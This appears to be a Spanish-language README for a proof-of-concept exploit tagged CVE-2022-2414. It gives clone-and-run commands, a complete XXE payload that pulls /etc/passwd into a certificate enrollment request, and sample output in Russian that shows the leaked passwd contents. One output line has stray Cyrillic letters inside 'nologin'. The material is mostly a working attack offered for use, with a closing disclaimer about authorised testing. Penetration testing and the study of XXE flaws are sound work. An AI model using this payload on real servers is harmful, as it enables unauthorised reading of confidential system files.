
es un script PoC para demostrar la explotación de una vulnerabilidad de Entidad Externa XML (XXE)
GenXMLExternalEntityExploit es un script PoC para demostrar la explotación de una vulnerabilidad de Inclusión de Entidades Externas XML (XXE). El script aprovecha cargas útiles XML para leer archivos confidenciales de un servidor objetivo. Puede ser útil para pruebas de seguridad, pruebas de penetración o fines educativos.
git clone https://github.com/geniuszly/CVE-2022-2414
cd CVE-2022-2414
python3 GenXMLExternalEntityExploit.py
TARGET_URL en el script para que apunte al servidor objetivo que deseas probar.XML_PAYLOAD en el script para rutas de archivos específicas u operaciones del lado del servidor.Por defecto, el script utiliza la siguiente carga útil para leer el archivo /etc/passwd:
<!--?xml version="1.0" ?-->
<!DOCTYPE xmlData [<!ENTITY fetchFile SYSTEM "file:///etc/passwd"> ]>
<CertEnrollmentRequest>
<Attributes/>
<ProfileID>&fetchFile;</ProfileID>
</CertEnrollmentRequest>
Инициализация отправки XML-пейлоада на сервер...
Статус-код ответа: 200
Содержимое XML-ответа:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nологin
...
Esta herramienta está destinada únicamente a fines educativos y pruebas de seguridad autorizadas. El autor no se hace responsable de ningún uso ilegal de esta herramienta.